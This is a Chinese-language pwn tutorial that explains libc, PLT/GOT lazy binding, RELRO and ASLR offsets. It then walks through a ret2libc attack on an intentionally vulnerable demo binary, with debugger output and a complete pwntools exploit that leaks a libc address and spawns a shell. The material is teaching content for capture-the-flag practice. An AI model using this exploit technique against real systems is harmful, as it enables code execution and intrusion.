在前面几章的学习中,我们都提供了一些方便的 gadget 或后门函数,那么如果这些东西都消失了我们应该怎么办?
libc
libc 是 Linux 程序中最基础、最常用的一类函数库,可以理解为程序和操作系统之间的“工具箱”。
在编写 C 程序时,我们经常会使用下面这些函数:
printf("Hello\n");
strlen("hello");
malloc(100);
free(ptr);
read(fd, buf, 100);
这些函数大多不是程序员自己实现的,而是由 libc 提供。
libc 中常见的功能包括:
- 输入输出,例如
printf、puts、scanf - 字符串处理,例如
strlen、strcpy、memcpy - 内存管理,例如
malloc、calloc、free - 文件操作,例如
fopen、fread、fwrite - 进程控制,例如
fork、execve、exit - 对 Linux 系统调用的封装,例如
read、write、open
libc 中的函数通常并不是程序本身的一部分,而是存放在一个单独的共享库文件中。程序运行时,系统会将 libc 加载到进程的内存中,程序再调用其中的函数
这样做有几个好处:
不同程序都可以直接使用
printf、malloc等函数,不需要每个程序重新编写一遍。多个程序可以共享同一份 libc,而不需要把所有库函数的代码都复制到自己的可执行文件中。
Linux 内核真正提供的是系统调用,但直接使用系统调用比较麻烦。libc 会将它们封装成更容易使用的函数。
例如:
程序调用 read()
↓
进入 libc 中的 read 函数
↓
libc 发起 read 系统调用
↓
进入 Linux 内核读取数据
需要注意的是,并不是所有 libc 函数都会进入内核。
例如:
strlen只是在用户空间计算字符串长度,通常不需要进入内核printf会先在用户空间处理格式和缓冲区,必要时再通过write系统调用输出数据malloc通常先管理进程已有的堆内存,内存不足时才可能通过系统调用向内核申请更多内存
libc 是对这类 C 基础函数库的统称,而 glibc 是 libc 的一种具体实现
glibc 的完整名称是 GNU C Library,它是大多数 Linux 发行版默认使用的 libc
延迟绑定
程序在调用 libc 中的函数时,需要知道这个函数在内存中的实际地址
例如,程序中调用:
puts("Hello");
puts 的代码位于 libc 中,但 libc 每次运行时加载到内存中的位置可能不同,因此编译程序时通常无法直接确定 puts 的最终地址
Linux 动态链接器需要在程序运行时完成函数地址的解析和绑定
所谓延迟绑定(Lazy Binding),就是:
程序启动时先不解析所有外部函数,等某个函数第一次被调用时,再查找并记录它的真实地址
这样可以减少程序启动时的工作量
延迟绑定主要依靠两个结构完成:
- PLT:过程链接表,负责跳转和调用
- GOT:全局偏移表,负责保存函数的真实地址
程序通常不会直接调用 libc 中的 puts,而是先调用程序自身的 puts@plt:
call puts@plt
puts@plt 再根据 GOT 表中的内容决定下一步跳转到哪里
第一次调用函数
假设程序第一次调用 puts,此时 GOT 中还没有保存 puts 的真实地址。
执行过程可以简化为:
程序调用 puts@plt
↓
puts@plt 查看 puts 对应的 GOT 表项
↓
GOT 中还没有 puts 的真实地址
↓
跳转到动态链接器
↓
动态链接器在 libc 中查找 puts
↓
将 puts 的真实地址写入 GOT
↓
跳转到真正的 puts 函数
也就是说,第一次调用时,动态链接器需要进行一次符号查找
后续调用函数
第一次调用完成后,puts 的真实地址已经被写入 GOT
之后再次调用时:
程序调用 puts@plt
↓
puts@plt 查看 GOT
↓
GOT 中已经保存 puts 的真实地址
↓
直接跳转到 libc 中的 puts
后续调用不再需要动态链接器重新解析,因此速度会更快
RELRO
延迟绑定也意味着某些 GOT 表项在程序运行过程中需要被修改
为了增强安全性,程序可以使用立即绑定,在启动时一次性解析所有函数,并将 GOT 设置为只读
这通常与 Full RELRO 一起使用
libc的利用
在程序本身没有 system() 等函数时,但其加载的 libc 库中并不一定没有我们需要的目标函数,因此我们只要能知道目标函数在 libc 库中的地址即可完成调用
地址关系
因为 ASLR 保护的存在,libc 库被加载到进程中的地址是随机的,需要注意,真正随机变化的主要是 libc 整体被加载到哪里,也就是它的基址
libc 内部各个函数之间的相对位置通常不会改变
**基址(Base Address)**是一个文件或内存区域被加载到虚拟内存中的起始地址
例如,某次运行中 libc 从下面的位置开始:
libc 基址 = 0x7ffff7c00000
那么 libc 中的代码、数据和函数地址,都会以这个地址作为起点
**偏移(Offset)**表示某个函数或数据距离 libc 开头有多远
假设在某个版本的 libc 中,puts 函数距离 libc 开头的偏移是:
puts 偏移 = 0x80e50
某次运行时,libc 的基址是:
libc 基址 = 0x7ffff7c00000
那么 puts 的实际地址就是:
puts 地址 = libc 基址 + puts 偏移
= 0x7ffff7c00000 + 0x80e50
= 0x7ffff7c80e50
因此可以得到基本公式:
函数实际地址 = libc 基址 + 函数偏移
每次运行时,这个 libc 文件可能整体移动到不同位置,但 puts、printf 和 system 相对于 libc 开头的距离仍然相同
计算 libc 基址
如果通过程序漏洞泄漏出了某个 libc 函数的实际地址,并且知道该函数在 libc 文件中的偏移,就可以反推出 libc 基址
公式为:
libc 基址 = 函数实际地址 - 函数偏移
例如:
泄漏得到 puts 地址 = 0x7ffff7c80e50
puts 偏移 = 0x80e50
那么:
libc 基址 = 0x7ffff7c80e50 - 0x80e50
= 0x7ffff7c00000
得到 libc 基址后,就可以继续计算其他函数的地址
假设 system 在该 libc 中的偏移为 0x50d70:
system 地址 = libc 基址 + system 偏移
= 0x7ffff7c00000 + 0x50d70
= 0x7ffff7c50d70
注意:不同 libc 版本的偏移可能不同 函数偏移并不是永远固定的,它只对某一个具体的 libc 文件成立
例如:
glibc 版本 A:
puts 偏移 = 0x80e50
glibc 版本 B:
puts 偏移 = 0x87bd0
因为不同版本的 glibc 代码实现、编译选项和内部结构可能不同,所以函数在文件中的位置也可能不同
因此,在 PWN 中不仅要泄漏函数地址,还需要确定目标程序使用的是哪个 libc 文件 使用错误版本的 libc 偏移,会计算出错误的基址和函数地址
ret2libc
长篇大论的理论结束了,现在我们开始实战 依旧附带一个 demo
点击查看
#include <stdio.h>
#include <stdlib.h>
void vuln(){
char buf[0x20];
read(0,buf,0x100);
}
void main(){
puts("welcome to ret2libc challenge");
vuln();
}
使用以下命令编译
gcc demo.c -o demo -no-pie -fno-stack-protector
这次我们发现,程序中可以利用的部分变得很有限了,既没有 system() 函数,也没有 “/bin/sh"字符串,那我们就得考虑一下借用 libc 的力量了
这里可以掏出工具 ldd
❯ ldd demo
linux-vdso.so.1 (0x00007ffd7d1c1000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x000071dc1c000000)
/lib64/ld-linux-x86-64.so.2 (0x000071dc1c309000)
我们可以这样查询程序的链接情况,并了解到程序使用的 libc 库就是这里的 /lib/x86_64-linux-gnu/libc.so.6
我们可以在 exp 中添加一下 libc 和 demo 方便后续的查询
elf = ELF('./demo')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
继续分析程序,在 vuln 中有一个巨大的溢出,我们应该从这里尝试泄露 libc 的基址
根据我们上文提到的 got 和 plt 相关知识,如果我们想要调用一个库函数,例如 puts(),我们可以调用 puts@plt,此时若未完成函数地址解析,则会将 puts()在libc中的真实地址解析出来并填入 puts@got,这就是一个很直接的泄露位置
假如我们直接运行程序并在调用puts前下断点
pwndbg> disas main
Dump of assembler code for function main:
0x0000000000401180 <+0>: endbr64
0x0000000000401184 <+4>: push rbp
0x0000000000401185 <+5>: mov rbp,rsp
0x0000000000401188 <+8>: lea rax,[rip+0xe75] # 0x402004
0x000000000040118f <+15>: mov rdi,rax
0x0000000000401192 <+18>: call 0x401050 <puts@plt>
0x0000000000401197 <+23>: mov eax,0x0
0x000000000040119c <+28>: call 0x401156 <vuln>
0x00000000004011a1 <+33>: nop
0x00000000004011a2 <+34>: pop rbp
0x00000000004011a3 <+35>: ret
End of assembler dump.
pwndbg> b *0x0000000000401192
Breakpoint 1 at 0x401192
此时我们查看 puts 的 got表项
pwndbg> got
/home/converter258/workplace/syc/recruitment/task7/ret2libc/demo: file format elf64-x86-64
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000403fd8 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.34
0000000000403fe0 R_X86_64_GLOB_DAT __gmon_start__@Base
0000000000404000 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000404008 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5
pwndbg> x/gx 0x0000000000404000
0x404000 <puts@got[plt]>: 0x0000000000401030
可以看到此处对应 got表项还未被填入正确的 libc 上的真实地址,我们单步执行到完成 call puts@plt之后
pwndbg> got
/home/converter258/workplace/syc/recruitment/task7/ret2libc/demo: file format elf64-x86-64
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000403fd8 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.34
0000000000403fe0 R_X86_64_GLOB_DAT __gmon_start__@Base
0000000000404000 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000404008 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5
pwndbg> x/gx 0x0000000000404000
0x404000 <puts@got[plt]>: 0x00007ffff7c87cc0
此时发现地址发生了变化,我们对应一下 vmmap 中的情况
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x400000 0x401000 r--p 1000 0 demo
0x401000 0x402000 r-xp 1000 1000 demo
0x402000 0x403000 r--p 1000 2000 demo
0x403000 0x404000 r--p 1000 2000 demo
0x404000 0x405000 rw-p 1000 3000 demo
0x405000 0x426000 rw-p 21000 0 [heap]
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7c28000 0x7ffff7db0000 r-xp 188000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7db0000 0x7ffff7dff000 r--p 4f000 1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7dff000 0x7ffff7e03000 r--p 4000 1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e03000 0x7ffff7e05000 rw-p 2000 202000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e05000 0x7ffff7e12000 rw-p d000 0 [anon_7ffff7e05]
0x7ffff7fa8000 0x7ffff7fab000 rw-p 3000 0 [anon_7ffff7fa8]
0x7ffff7fbd000 0x7ffff7fbf000 rw-p 2000 0 [anon_7ffff7fbd]
0x7ffff7fbf000 0x7ffff7fc3000 r--p 4000 0 [vvar]
0x7ffff7fc3000 0x7ffff7fc5000 r-xp 2000 0 [vdso]
0x7ffff7fc5000 0x7ffff7fc6000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fc6000 0x7ffff7ff1000 r-xp 2b000 1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ff1000 0x7ffff7ffb000 r--p a000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffdd000 0x7ffffffff000 rw-p 22000 0 [stack]
发现这个范围刚好处于我们刚刚提到的 libc文件映射的范围内,因此,我们如果可以调用 puts@plt ,并将 rdi 设置为 puts@got,那么就可以泄露出一个 libc上的地址,从而计算 libc 基址
我们可以写出 payload
payload1 = cyclic(0x28) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
我们此时执行 exp,会发现程序输出了一些奇形怪状的东西
❯ python3 exp.py
[+] Starting local process './demo': pid 36168
[*] '/home/converter258/workplace/syc/recruitment/task7/ret2libc/demo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
[*] Switching to interactive mode
\xc0|\xa8\xfd\xbcq
[*] Got EOF while reading in interactive
$
这里的\xc0|\xa8\xfd\xbcq似乎就是我们泄露的内容,但是我们需要想办法把他变成能够被使用的地址
我们可以使用
context.log_level = 'debug'
设置 context 详细程度为debug,这样我们就可以看到更详细的 debug 信息
[DEBUG] Sent 0x41 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 │eaaa│faaa│gaaa│haaa│
00000020 69 61 61 61 6a 61 61 61 ac 11 40 00 00 00 00 00 │iaaa│jaaa│··@·│····│
00000030 00 40 40 00 00 00 00 00 54 10 40 00 00 00 00 00 │·@@·│····│T·@·│····│
00000040 0a │·│
00000041
[DEBUG] Received 0x7 bytes:
00000000 c0 7c 88 dc d3 73 0a │·|··│·s·│
00000007
再次执行,输出内容就可以更方便的看见输出的内容了
除去puts输出的换行符,前面六个字节就是我们泄露出来的 puts@got内的地址
使用 pwntools 提供的 u64 进行解包
leak = u64(io.recv(6).ljust(8,b'\x00'))
再减去 puts() 在 libc 中真实地址的偏移即可算出 libc基址
leak = u64(io.recv(6).ljust(8,b'\x00'))
libc_base = leak - libc.sym['puts']
log.info(hex(libc_base))

我们修正刚刚的第一个payload,在最后加上一个 p64(vuln)让程序再次调用 vuln()函数,方便我们在泄露 libc 基址后再次构造 payload
现在我们需要寻找 libc 上的 system() 和 "/bin/sh"字符串
binsh_addr = libc.search(b"/bin/sh").__next__() + libc_base
system_addr = libc.sym['system'] + libc_base
这里 binsh_addr我们添加一个.__next__()因为 libc 上存在的该字符串并不一定就只有一个,确保返回libc中第一个binsh的地址
因此可以构造出第二段 payload
payload2 = cyclic(0x28) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
完整 exp:
exp
#!/usr/bin/python3
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
ELF_PATH = './demo'
LIBC_PATH = '/lib/x86_64-linux-gnu/libc.so.6'
io = process(ELF_PATH)
elf = ELF(ELF_PATH)
libc = ELF(LIBC_PATH)
vuln = 0x40119C
pop_rdi = 0x4011AC
io.recvuntil(b'welcome to ret2libc challenge\n')
payload1 = cyclic(0x28) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(vuln)
io.sendline(payload1)
leak = u64(io.recv(6).ljust(8,b'\x00'))
libc_base = leak - libc.sym['puts']
log.info(hex(libc_base))
binsh_addr = libc.search(b"/bin/sh").__next__() + libc_base
system_addr = libc.sym['system'] + libc_base
payload2 = cyclic(0x28) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()
练习题
welcomeback
我 gadget 呢?哒哒哒滴哒哒 我不到啊?